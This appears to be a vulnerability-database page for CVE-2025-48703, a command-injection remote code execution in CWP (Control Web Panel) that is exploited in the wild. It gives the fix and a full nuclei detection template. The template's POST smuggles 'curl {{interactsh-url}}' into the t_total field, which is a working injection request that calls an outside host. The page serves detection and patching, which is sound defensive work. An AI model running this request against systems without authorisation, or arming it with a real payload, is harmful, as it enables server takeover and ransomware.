Browse / CVEs / CVE-2025-48703
CVE-2025-48703· CWE-78
CWP (Control Web Panel) < 0.9.8.1205 - Remote Code Execution
Exploited in the wild. Listed by CISA on 2025-11-04; known to be used by ransomware.
CWP (Control Web Panel) < 0.9.8.1205 contains a remote code execution caused by shell metacharacters in the t_total parameter in filemanager changePerm request, letting unauthenticated attackers execute code remotely, exploit requires knowledge of a valid non-root username.
Impact
Unauthenticated attackers can execute arbitrary code remotely, potentially leading to full system compromise.
Fix
Update to version 0.9.8.1205 or later.
How to confirm it
Send: GET /login/index.php
Positive when: status_code == 200 and contains_all(body, 'Control WebPanel', 'cwp')
Send: POST /{{username}}/index.php?module=filemanager&acc=changePerm
Positive when: contains in interactsh_protocol "dns" AND contains in interactsh_request "User-Agent: curl"Run it with nuclei: nuclei -id CVE-2025-48703 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2025-48703
info:
name: CWP (Control Web Panel) < 0.9.8.1205 - Remote Code Execution
author: theamanrawat
severity: critical
description: |
CWP (Control Web Panel) < 0.9.8.1205 contains a remote code execution caused by shell metacharacters in the t_total parameter in filemanager changePerm request, letting unauthenticated attackers execute code remotely, exploit requires knowledge of a valid non-root username.
impact: |
Unauthenticated attackers can execute arbitrary code remotely, potentially leading to full system compromise.
remediation: |
Update to version 0.9.8.1205 or later.
reference:
- https://fenrisk.com/rce-centos-webpanel
- https://nvd.nist.gov/vuln/detail/CVE-2025-48703
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.0
cve-id: CVE-2025-48703
epss-score: 0.99655
epss-percentile: 0.99949
cwe-id: CWE-78
metadata:
verified: false
shodan-query: 'Server: cwpsrv'
tags: cve,cve2025,cwp,cwpsrv,rce,intrusive,file-upload,oast,oob,vkev,kev,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET /login/index.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains_all(body, 'Control WebPanel', 'cwp')"
condition: and
internal: true
- raw:
- |
POST /{{username}}/index.php?module=filemanager&acc=changePerm HTTP/1.1
Host: {{hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrTrcHpS9ovyhBLtb
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="fileName"
.bashrc
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="currentPath"
/home/{{username}}
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="recursive"
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="t_total"
curl {{interactsh-url}}
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"
- type: word
part: interactsh_request
words:
- "User-Agent: curl"References
Use this check only on systems you are authorised to test. Where the data comes from